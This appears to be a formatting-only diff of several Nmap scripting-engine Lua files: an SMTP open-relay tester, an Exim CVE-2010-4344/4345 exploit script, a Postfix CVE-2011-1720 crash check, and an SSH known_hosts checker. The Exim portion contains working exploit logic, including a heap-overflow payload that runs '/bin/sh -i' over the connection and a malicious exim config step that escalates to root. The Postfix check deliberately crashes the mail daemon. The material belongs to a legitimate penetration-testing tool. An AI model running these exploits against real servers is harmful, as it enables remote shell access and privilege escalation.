from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s@%s@[%s]", to, domain, ip)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s@%s@%s", to, domain, srvname)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("@[%s]:%s@%s", ip, to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("@%s:%s@%s", srvname, to, domain)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s!%s", domain, to)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s!%s@[%s]", domain, to, ip)
|
|
||||||
},
|
|
||||||
{
|
|
||||||
from = string.format("%s@[%s]", from, ip),
|
|
||||||
to = string.format("%s!%s@%s", domain, to, srvname)
|
|
||||||
},
|
|
||||||
}
|
|
||||||
|
|
||||||
-- This function is used when something goes wrong with the connection.
|
if string.match(response, "530") then
|
||||||
-- It makes sure that if it found working combinations before the error
|
smtp.quit(socket)
|
||||||
-- occurred, they will be returned. If the debug flag is enabled the
|
return false, "Server isn't an open relay, authentication needed"
|
||||||
-- error message will be appended to the combinations list.
|
elseif smtp.check_reply("RCPT", response) then
|
||||||
local failure = function(message)
|
-- Save the working from and to combination.
|
||||||
if #result > 0 then
|
table.insert(result,
|
||||||
table.insert(result, message)
|
string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
|
||||||
return true, result
|
tests[index]["from"], tests[index]["to"]))
|
||||||
else
|
end
|
||||||
return false, message
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
for index = 1, #tests do
|
smtp.quit(socket)
|
||||||
status, response = smtp.reset(socket)
|
return true, result
|
||||||
if not status then
|
|
||||||
if string.match(response, "530") then
|
|
||||||
return false, "Server isn't an open relay, authentication needed"
|
|
||||||
end
|
|
||||||
return failure(response)
|
|
||||||
end
|
|
||||||
|
|
||||||
status, response = smtp.query(socket, "MAIL",
|
|
||||||
string.format("FROM:<%s>",
|
|
||||||
tests[index]["from"]))
|
|
||||||
-- If this command fails to be sent, then something went
|
|
||||||
-- wrong with the connection.
|
|
||||||
if not status then
|
|
||||||
return failure(string.format("Failed to issue %s command (%s)",
|
|
||||||
tests[index]["from"], response))
|
|
||||||
end
|
|
||||||
|
|
||||||
if string.match(response, "530") then
|
|
||||||
smtp.quit(socket)
|
|
||||||
return false, "Server isn't an open relay, authentication needed"
|
|
||||||
elseif smtp.check_reply("MAIL", response) then
|
|
||||||
-- Lets try to actually relay.
|
|
||||||
status, response = smtp.query(socket, "RCPT",
|
|
||||||
string.format("TO:<%s>",
|
|
||||||
tests[index]["to"]))
|
|
||||||
if not status then
|
|
||||||
return failure(string.format("Failed to issue %s command (%s)",
|
|
||||||
tests[index]["to"], response))
|
|
||||||
end
|
|
||||||
|
|
||||||
if string.match(response, "530") then
|
|
||||||
smtp.quit(socket)
|
|
||||||
return false, "Server isn't an open relay, authentication needed"
|
|
||||||
elseif smtp.check_reply("RCPT", response) then
|
|
||||||
-- Save the working from and to combination.
|
|
||||||
table.insert(result,
|
|
||||||
string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
|
|
||||||
tests[index]["from"], tests[index]["to"]))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
smtp.quit(socket)
|
|
||||||
return true, result
|
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
local status, result = go(host, port)
|
local status, result = go(host, port)
|
||||||
|
|
||||||
-- The go function returned false, this means that the result is
|
-- The go function returned false, this means that the result is
|
||||||
-- a simple error message.
|
-- a simple error message.
|
||||||
if not status then
|
if not status then
|
||||||
return result
|
return result
|
||||||
else
|
else
|
||||||
-- Combinations were found. If verbosity is active, the script
|
-- Combinations were found. If verbosity is active, the script
|
||||||
-- will print all the successful tests. Otherwise it will only
|
-- will print all the successful tests. Otherwise it will only
|
||||||
-- print the conclusion.
|
-- print the conclusion.
|
||||||
if #result > 0 then
|
if #result > 0 then
|
||||||
local final = {}
|
local final = {}
|
||||||
table.insert(final,
|
table.insert(final,
|
||||||
string.format("Server is an open relay (%i/16 tests)",
|
string.format("Server is an open relay (%i/16 tests)",
|
||||||
(#result)))
|
(#result)))
|
||||||
|
|
||||||
if nmap.verbosity() > 1 then
|
if nmap.verbosity() > 1 then
|
||||||
for index, test in ipairs(result) do
|
for index, test in ipairs(result) do
|
||||||
table.insert(final, test)
|
table.insert(final, test)
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return stdnse.strjoin("\n ", final)
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
return "Server doesn't seem to be an open relay, all tests failed"
|
return stdnse.strjoin("\n ", final)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
return "Server doesn't seem to be an open relay, all tests failed"
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -75,7 +75,7 @@ categories = {"exploit", "intrusive", "vuln"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = shortport.port_or_service({25, 465, 587},
|
portrule = shortport.port_or_service({25, 465, 587},
|
||||||
{"smtp", "smtps", "submission"})
|
{"smtp", "smtps", "submission"})
|
||||||
|
|
||||||
local function smtp_finish(socket, status, msg)
|
local function smtp_finish(socket, status, msg)
|
||||||
if socket then
|
if socket then
|
||||||
@@ -109,21 +109,21 @@ local function escalate_privs(socket, smtp_opts)
|
|||||||
local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
|
local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
|
||||||
local exim_run = "exim -C"..tmp_file.." -q"
|
local exim_run = "exim -C"..tmp_file.." -q"
|
||||||
local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
|
local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
|
||||||
tmp_file.."' }}"
|
tmp_file.."' }}"
|
||||||
|
|
||||||
stdnse.print_debug(2, "%s: trying to escalate privileges",
|
stdnse.print_debug(2, "%s: trying to escalate privileges",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
|
|
||||||
local status, ret = send_recv(socket, "id\n")
|
local status, ret = send_recv(socket, "id\n")
|
||||||
if not status then
|
if not status then
|
||||||
return status, ret
|
return status, ret
|
||||||
end
|
end
|
||||||
results = string.format(" Before 'id': %s",
|
results = string.format(" Before 'id': %s",
|
||||||
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
|
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
|
||||||
|
|
||||||
status, ret = send_recv(socket,
|
status, ret = send_recv(socket,
|
||||||
string.format("cat > %s << EOF\n",
|
string.format("cat > %s << EOF\n",
|
||||||
tmp_file))
|
tmp_file))
|
||||||
if not status then
|
if not status then
|
||||||
return status, ret
|
return status, ret
|
||||||
end
|
end
|
||||||
@@ -144,10 +144,10 @@ local function escalate_privs(socket, smtp_opts)
|
|||||||
elseif ret:match("uid=0%(root%)") then
|
elseif ret:match("uid=0%(root%)") then
|
||||||
exploited = true
|
exploited = true
|
||||||
results = results..string.format("\n After 'id': %s",
|
results = results..string.format("\n After 'id': %s",
|
||||||
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
|
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
|
||||||
stdnse.print_debug(2,
|
stdnse.print_debug(2,
|
||||||
"%s: successfully exploited the Exim privileges escalation.",
|
"%s: successfully exploited the Exim privileges escalation.",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- delete tmp file, should we care about this ?
|
-- delete tmp file, should we care about this ?
|
||||||
@@ -164,7 +164,7 @@ local function exploit_heap(socket, smtp_opts)
|
|||||||
local exploited, ret = false, ""
|
local exploited, ret = false, ""
|
||||||
|
|
||||||
stdnse.print_debug(2, "%s: exploiting the heap overflow",
|
stdnse.print_debug(2, "%s: exploiting the heap overflow",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
|
|
||||||
local status, response = smtp.mail(socket, smtp_opts.mailfrom)
|
local status, response = smtp.mail(socket, smtp_opts.mailfrom)
|
||||||
if not status then
|
if not status then
|
||||||
@@ -185,14 +185,14 @@ local function exploit_heap(socket, smtp_opts)
|
|||||||
local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
|
local msg_len, log_buf_size = smtp_opts.size + (1024*256), 8192
|
||||||
local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
|
local log_buf = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from"
|
||||||
local log_host = string.format("%s(%s)",
|
local log_host = string.format("%s(%s)",
|
||||||
smtp_opts.ehlo_host ~= smtp_opts.domain and
|
smtp_opts.ehlo_host ~= smtp_opts.domain and
|
||||||
smtp_opts.ehlo_host.." " or "",
|
smtp_opts.ehlo_host.." " or "",
|
||||||
smtp_opts.domain)
|
smtp_opts.domain)
|
||||||
log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
|
log_buf = string.format("%s <%s> H=%s [%s]: message too big: "..
|
||||||
"read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
|
"read=%s max=%s\nEnvelope-from: <%s>\nEnvelope-to: <%s>\n",
|
||||||
log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
|
log_buf, smtp_opts.mailfrom, log_host, smtp_opts.domain_ip,
|
||||||
msg_len, smtp_opts.size, smtp_opts.mailfrom,
|
msg_len, smtp_opts.size, smtp_opts.mailfrom,
|
||||||
smtp_opts.mailto)
|
smtp_opts.mailto)
|
||||||
|
|
||||||
log_buf_size = log_buf_size - 3
|
log_buf_size = log_buf_size - 3
|
||||||
local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
|
local filler, hdrs, nmap_hdr = string.rep("X", 8 * 16), "", "NmapHeader"
|
||||||
@@ -221,7 +221,7 @@ local function exploit_heap(socket, smtp_opts)
|
|||||||
for fd = 3, 12 do
|
for fd = 3, 12 do
|
||||||
hdrx = hdrx..
|
hdrx = hdrx..
|
||||||
string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
|
string.format("${run{/bin/sh -c 'exec /bin/sh -i <&%d >&0 2>&0'}} ",
|
||||||
fd)
|
fd)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -231,7 +231,7 @@ local function exploit_heap(socket, smtp_opts)
|
|||||||
end
|
end
|
||||||
|
|
||||||
stdnse.print_debug(1, "%s: sending forged mail, size: %dMB",
|
stdnse.print_debug(1, "%s: sending forged mail, size: %dMB",
|
||||||
SCRIPT_NAME, msg_len / (1024*1024))
|
SCRIPT_NAME, msg_len / (1024*1024))
|
||||||
|
|
||||||
-- use low socket level functions.
|
-- use low socket level functions.
|
||||||
status, ret = socket:send(hdrs)
|
status, ret = socket:send(hdrs)
|
||||||
@@ -279,24 +279,24 @@ local function exploit_heap(socket, smtp_opts)
|
|||||||
end
|
end
|
||||||
|
|
||||||
stdnse.print_debug(2, "%s: the forged mail was sent successfully.",
|
stdnse.print_debug(2, "%s: the forged mail was sent successfully.",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
|
|
||||||
-- second round
|
-- second round
|
||||||
status, response = smtp.query(socket, "MAIL",
|
status, response = smtp.query(socket, "MAIL",
|
||||||
string.format("FROM:<%s>", smtp_opts.mailfrom))
|
string.format("FROM:<%s>", smtp_opts.mailfrom))
|
||||||
if not status then
|
if not status then
|
||||||
return status, response
|
return status, response
|
||||||
end
|
end
|
||||||
|
|
||||||
status, ret = smtp.query(socket, "RCPT",
|
status, ret = smtp.query(socket, "RCPT",
|
||||||
string.format("TO:<%s>", smtp_opts.mailto))
|
string.format("TO:<%s>", smtp_opts.mailto))
|
||||||
if not status then
|
if not status then
|
||||||
return status, ret
|
return status, ret
|
||||||
end
|
end
|
||||||
|
|
||||||
if response:match("sh:%s") or ret:match("sh:%s") then
|
if response:match("sh:%s") or ret:match("sh:%s") then
|
||||||
stdnse.print_debug(2,
|
stdnse.print_debug(2,
|
||||||
"%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME)
|
"%s: successfully exploited the Exim heap overflow.", SCRIPT_NAME)
|
||||||
exploited = "heap-exploited"
|
exploited = "heap-exploited"
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -314,11 +314,11 @@ local function check_exim(smtp_opts)
|
|||||||
local exim_heap_result, exim_priv_result = "", ""
|
local exim_heap_result, exim_priv_result = "", ""
|
||||||
|
|
||||||
local socket, ret = smtp.connect(smtp_opts.host,
|
local socket, ret = smtp.connect(smtp_opts.host,
|
||||||
smtp_opts.port,
|
smtp_opts.port,
|
||||||
{ssl = true,
|
{ssl = true,
|
||||||
timeout = 8000,
|
timeout = 8000,
|
||||||
recv_before = true,
|
recv_before = true,
|
||||||
lines = 1})
|
lines = 1})
|
||||||
|
|
||||||
if not socket then
|
if not socket then
|
||||||
return smtp_finish(nil, socket, ret)
|
return smtp_finish(nil, socket, ret)
|
||||||
@@ -332,31 +332,31 @@ local function check_exim(smtp_opts)
|
|||||||
smtp_server.smtpd = smtp_server.banner:match("Exim")
|
smtp_server.smtpd = smtp_server.banner:match("Exim")
|
||||||
if smtp_server.smtpd and smtp_server.version then
|
if smtp_server.smtpd and smtp_server.version then
|
||||||
table.insert(out, 1,
|
table.insert(out, 1,
|
||||||
string.format("Exim version: %.02f", smtp_server.version))
|
string.format("Exim version: %.02f", smtp_server.version))
|
||||||
|
|
||||||
if smtp_server.version > exim_heap_ver then
|
if smtp_server.version > exim_heap_ver then
|
||||||
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
|
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
|
||||||
heap_cve)
|
heap_cve)
|
||||||
else
|
else
|
||||||
exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
|
exim_heap_result = string.format(" Exim (%s): LIKELY VULNERABLE",
|
||||||
heap_cve)
|
heap_cve)
|
||||||
end
|
end
|
||||||
|
|
||||||
if smtp_server.version > exim_priv_ver then
|
if smtp_server.version > exim_priv_ver then
|
||||||
exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
|
exim_priv_result = string.format(" Exim (%s): NOT VULNERABLE",
|
||||||
priv_cve)
|
priv_cve)
|
||||||
else
|
else
|
||||||
exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
|
exim_priv_result = string.format(" Exim (%s): LIKELY VULNERABLE",
|
||||||
priv_cve)
|
priv_cve)
|
||||||
end
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
return smtp_finish(socket, true,
|
return smtp_finish(socket, true,
|
||||||
'The SMTP server is not Exim: NOT VULNERABLE')
|
'The SMTP server is not Exim: NOT VULNERABLE')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
return smtp_finish(socket, false,
|
return smtp_finish(socket, false,
|
||||||
'failed to read the SMTP banner.')
|
'failed to read the SMTP banner.')
|
||||||
end
|
end
|
||||||
|
|
||||||
if not smtp_opts.exploit then
|
if not smtp_opts.exploit then
|
||||||
@@ -377,7 +377,7 @@ local function check_exim(smtp_opts)
|
|||||||
for _, line in pairs(stdnse.strsplit("\r?\n", response)) do
|
for _, line in pairs(stdnse.strsplit("\r?\n", response)) do
|
||||||
if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
|
if not smtp_opts.ehlo_host or not smtp_opts.domain_ip then
|
||||||
smtp_opts.ehlo_host, smtp_opts.domain_ip =
|
smtp_opts.ehlo_host, smtp_opts.domain_ip =
|
||||||
line:match("%d+.*Hello%s(.*)%s%[(.*)%]")
|
line:match("%d+.*Hello%s(.*)%s%[(.*)%]")
|
||||||
end
|
end
|
||||||
if not smtp_server.size then
|
if not smtp_server.size then
|
||||||
smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
|
smtp_server.size = line:match("%d+%-SIZE%s(%d+)")
|
||||||
@@ -402,8 +402,8 @@ local function check_exim(smtp_opts)
|
|||||||
end
|
end
|
||||||
if not smtp_opts.mailto then
|
if not smtp_opts.mailto then
|
||||||
smtp_opts.mailto = string.format("postmaster@%s",
|
smtp_opts.mailto = string.format("postmaster@%s",
|
||||||
smtp_opts.host.targetname and
|
smtp_opts.host.targetname and
|
||||||
smtp_opts.host.targetname or 'localhost')
|
smtp_opts.host.targetname or 'localhost')
|
||||||
end
|
end
|
||||||
|
|
||||||
status, ret = exploit_heap(socket, smtp_opts)
|
status, ret = exploit_heap(socket, smtp_opts)
|
||||||
@@ -411,20 +411,20 @@ local function check_exim(smtp_opts)
|
|||||||
return smtp_finish(nil, status, ret)
|
return smtp_finish(nil, status, ret)
|
||||||
elseif ret then
|
elseif ret then
|
||||||
exim_heap_result = string.format(" Exim (%s): VULNERABLE",
|
exim_heap_result = string.format(" Exim (%s): VULNERABLE",
|
||||||
heap_cve)
|
heap_cve)
|
||||||
exim_priv_result = string.format(" Exim (%s): VULNERABLE",
|
exim_priv_result = string.format(" Exim (%s): VULNERABLE",
|
||||||
priv_cve)
|
priv_cve)
|
||||||
if ret:match("exploited") then
|
if ret:match("exploited") then
|
||||||
-- clear socket
|
-- clear socket
|
||||||
socket:receive_lines(1)
|
socket:receive_lines(1)
|
||||||
if smtp_opts.shell_cmd then
|
if smtp_opts.shell_cmd then
|
||||||
status, response = send_recv(socket,
|
status, response = send_recv(socket,
|
||||||
string.format("%s\n", smtp_opts.shell_cmd))
|
string.format("%s\n", smtp_opts.shell_cmd))
|
||||||
if status then
|
if status then
|
||||||
exim_heap_result = exim_heap_result ..
|
exim_heap_result = exim_heap_result ..
|
||||||
string.format("\n Shell command '%s': %s",
|
string.format("\n Shell command '%s': %s",
|
||||||
smtp_opts.shell_cmd,
|
smtp_opts.shell_cmd,
|
||||||
string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
|
string.gsub(response, "^%$*%s*(.-)\n*%$*$", "%1"))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -436,7 +436,7 @@ local function check_exim(smtp_opts)
|
|||||||
end
|
end
|
||||||
else
|
else
|
||||||
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
|
exim_heap_result = string.format(" Exim (%s): NOT VULNERABLE",
|
||||||
heap_cve)
|
heap_cve)
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(out, 3, exim_heap_result)
|
table.insert(out, 3, exim_heap_result)
|
||||||
@@ -449,12 +449,12 @@ action = function(host, port)
|
|||||||
host = host,
|
host = host,
|
||||||
port = port,
|
port = port,
|
||||||
domain = stdnse.get_script_args('smtp.domain') or
|
domain = stdnse.get_script_args('smtp.domain') or
|
||||||
'nmap.scanme.org',
|
'nmap.scanme.org',
|
||||||
mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
|
mailfrom = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailfrom'),
|
||||||
mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
|
mailto = stdnse.get_script_args('smtp-vuln-cve2010-4344.mailto'),
|
||||||
exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
|
exploit = stdnse.get_script_args('smtp-vuln-cve2010-4344.exploit'),
|
||||||
shell_cmd = stdnse.get_script_args('exploit.cmd') or
|
shell_cmd = stdnse.get_script_args('exploit.cmd') or
|
||||||
stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
|
stdnse.get_script_args('smtp-vuln-cve2010-4344.cmd'),
|
||||||
}
|
}
|
||||||
if smtp_opts.shell_cmd then
|
if smtp_opts.shell_cmd then
|
||||||
smtp_opts.exploit = true
|
smtp_opts.exploit = true
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ categories = {"intrusive", "vuln"}
|
|||||||
|
|
||||||
|
|
||||||
portrule = shortport.port_or_service({25, 465, 587},
|
portrule = shortport.port_or_service({25, 465, 587},
|
||||||
{"smtp", "smtps", "submission"})
|
{"smtp", "smtps", "submission"})
|
||||||
|
|
||||||
local AUTH_VULN = {
|
local AUTH_VULN = {
|
||||||
-- AUTH MECHANISM
|
-- AUTH MECHANISM
|
||||||
@@ -116,7 +116,7 @@ end
|
|||||||
local function kill_smtpd(socket, mech, mkill)
|
local function kill_smtpd(socket, mech, mkill)
|
||||||
local killed, ret = false
|
local killed, ret = false
|
||||||
local status, response = smtp.query(socket, "AUTH",
|
local status, response = smtp.query(socket, "AUTH",
|
||||||
string.format("%s", mech))
|
string.format("%s", mech))
|
||||||
if not status then
|
if not status then
|
||||||
return status, response
|
return status, response
|
||||||
end
|
end
|
||||||
@@ -130,7 +130,7 @@ local function kill_smtpd(socket, mech, mkill)
|
|||||||
smtp.query(socket, "*")
|
smtp.query(socket, "*")
|
||||||
|
|
||||||
status, response = smtp.query(socket, "AUTH",
|
status, response = smtp.query(socket, "AUTH",
|
||||||
string.format("%s", mkill))
|
string.format("%s", mkill))
|
||||||
if status then
|
if status then
|
||||||
-- abort the last AUTH command.
|
-- abort the last AUTH command.
|
||||||
status, response = smtp.query(socket, "*")
|
status, response = smtp.query(socket, "*")
|
||||||
@@ -152,10 +152,10 @@ end
|
|||||||
-- http://www.postfix.org/CVE-2011-1720.html
|
-- http://www.postfix.org/CVE-2011-1720.html
|
||||||
local function check_smtpd(smtp_opts)
|
local function check_smtpd(smtp_opts)
|
||||||
local socket, ret = smtp.connect(smtp_opts.host,
|
local socket, ret = smtp.connect(smtp_opts.host,
|
||||||
smtp_opts.port,
|
smtp_opts.port,
|
||||||
{ssl = false,
|
{ssl = false,
|
||||||
recv_before = true,
|
recv_before = true,
|
||||||
lines = 1})
|
lines = 1})
|
||||||
|
|
||||||
if not socket then
|
if not socket then
|
||||||
return socket, ret
|
return socket, ret
|
||||||
@@ -206,7 +206,7 @@ local function check_smtpd(smtp_opts)
|
|||||||
if (#auth_mech_str > 0) then
|
if (#auth_mech_str > 0) then
|
||||||
vuln.extra_info = {}
|
vuln.extra_info = {}
|
||||||
table.insert(vuln.extra_info,
|
table.insert(vuln.extra_info,
|
||||||
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
|
string.format("Available AUTH MECHANISMS: %s", auth_mech_str))
|
||||||
|
|
||||||
-- maybe vulnerable
|
-- maybe vulnerable
|
||||||
if next(auth_mech_list) then
|
if next(auth_mech_list) then
|
||||||
@@ -231,7 +231,7 @@ local function check_smtpd(smtp_opts)
|
|||||||
table.insert(vuln.check_results,
|
table.insert(vuln.check_results,
|
||||||
string.format("AUTH tests:%s", auth_tests))
|
string.format("AUTH tests:%s", auth_tests))
|
||||||
table.insert(vuln.check_results,
|
table.insert(vuln.check_results,
|
||||||
string.format("VULNERABLE (%s => %s)", mech, mkill))
|
string.format("VULNERABLE (%s => %s)", mech, mkill))
|
||||||
return smtp_finish(nil, true)
|
return smtp_finish(nil, true)
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -243,11 +243,11 @@ local function check_smtpd(smtp_opts)
|
|||||||
end
|
end
|
||||||
|
|
||||||
table.insert(vuln.check_results, string.format("AUTH tests:%s",
|
table.insert(vuln.check_results, string.format("AUTH tests:%s",
|
||||||
auth_tests))
|
auth_tests))
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
stdnse.print_debug(2, "%s: Authentication is not available",
|
stdnse.print_debug(2, "%s: Authentication is not available",
|
||||||
SCRIPT_NAME)
|
SCRIPT_NAME)
|
||||||
table.insert(vuln.check_results, "Authentication is not available")
|
table.insert(vuln.check_results, "Authentication is not available")
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -260,7 +260,7 @@ action = function(host, port)
|
|||||||
host = host,
|
host = host,
|
||||||
port = port,
|
port = port,
|
||||||
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
|
domain = stdnse.get_script_args('smtp-vuln-cve2011-1720.domain') or
|
||||||
smtp.get_domain(host),
|
smtp.get_domain(host),
|
||||||
vuln = {
|
vuln = {
|
||||||
title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
|
title = 'Postfix SMTP server Cyrus SASL Memory Corruption',
|
||||||
IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'},
|
IDS = {CVE = 'CVE-2011-1720', OSVDB = '72259'},
|
||||||
|
|||||||
@@ -170,7 +170,7 @@ local function check_keys(host, keys, f)
|
|||||||
if not foundhostname then
|
if not foundhostname then
|
||||||
for _, k in ipairs(keys_found) do
|
for _, k in ipairs(keys_found) do
|
||||||
if ("%s %s"):format(parts[2], parts[3]) == k then
|
if ("%s %s"):format(parts[2], parts[3]) == k then
|
||||||
table.insert(same_key_hashed, {lnumber = lnumber})
|
table.insert(same_key_hashed, {lnumber = lnumber})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -182,9 +182,9 @@ local function check_keys(host, keys, f)
|
|||||||
else
|
else
|
||||||
-- Is the key the same but the clear text hostname isn't?
|
-- Is the key the same but the clear text hostname isn't?
|
||||||
for _, k in ipairs(keys_found) do
|
for _, k in ipairs(keys_found) do
|
||||||
if ("%s %s"):format(parts[2], parts[3]) == k then
|
if ("%s %s"):format(parts[2], parts[3]) == k then
|
||||||
table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
|
table.insert(same_key, {name=parts[1], key=("%s %s"):format(parts[2], parts[3]), lnumber=lnumber})
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
@@ -204,7 +204,7 @@ local function check_keys(host, keys, f)
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
if not matched then
|
if not matched then
|
||||||
table.insert(different_keys, k)
|
table.insert(different_keys, k)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -214,30 +214,30 @@ local function check_keys(host, keys, f)
|
|||||||
return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file."
|
return_string = return_string .. "\n\t" .. "No entry for scanned host found in known_hosts file."
|
||||||
else
|
else
|
||||||
if next(matched_keys) or next(same_key_hashed) or next(same_key) then
|
if next(matched_keys) or next(same_key_hashed) or next(same_key) then
|
||||||
return_string = return_string .. "\n\tGOOD Matches in known_hosts file: "
|
return_string = return_string .. "\n\tGOOD Matches in known_hosts file: "
|
||||||
if next(matched_keys) then
|
if next(matched_keys) then
|
||||||
for __, gm in ipairs(matched_keys) do
|
for __, gm in ipairs(matched_keys) do
|
||||||
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
||||||
end
|
|
||||||
end
|
end
|
||||||
if next(same_key) then
|
end
|
||||||
for __, gm in ipairs(same_key) do
|
if next(same_key) then
|
||||||
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
for __, gm in ipairs(same_key) do
|
||||||
end
|
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if next(same_key_hashed) then
|
if next(same_key_hashed) then
|
||||||
for __, gm in ipairs(same_key_hashed) do
|
for __, gm in ipairs(same_key_hashed) do
|
||||||
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>"
|
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": <unknown>"
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
if different_keys ~= 0 then
|
if different_keys ~= 0 then
|
||||||
return_string = return_string .. "\n\tWRONG Matches in known_hosts file: "
|
return_string = return_string .. "\n\tWRONG Matches in known_hosts file: "
|
||||||
for __, gm in ipairs(different_keys) do
|
for __, gm in ipairs(different_keys) do
|
||||||
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
return_string = return_string .. "\n\t\tL" .. gm.lnumber .. ": " .. gm.name
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return true, return_string
|
return true, return_string
|
||||||
@@ -275,11 +275,11 @@ local function portaction(host, port)
|
|||||||
for _, key in ipairs( keys ) do
|
for _, key in ipairs( keys ) do
|
||||||
add_key_to_registry( host, key )
|
add_key_to_registry( host, key )
|
||||||
table.insert(output_tab, {
|
table.insert(output_tab, {
|
||||||
fingerprint=stdnse.tohex(key.fingerprint),
|
fingerprint=stdnse.tohex(key.fingerprint),
|
||||||
type=key.key_type,
|
type=key.key_type,
|
||||||
bits=key.bits,
|
bits=key.bits,
|
||||||
key=base64.enc(key.key),
|
key=base64.enc(key.key),
|
||||||
})
|
})
|
||||||
if format:find( 'hex', 1, true ) or all_formats then
|
if format:find( 'hex', 1, true ) or all_formats then
|
||||||
table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
|
table.insert( output, ssh1.fingerprint_hex( key.fingerprint, key.algorithm, key.bits ) )
|
||||||
end
|
end
|
||||||
|
|||||||
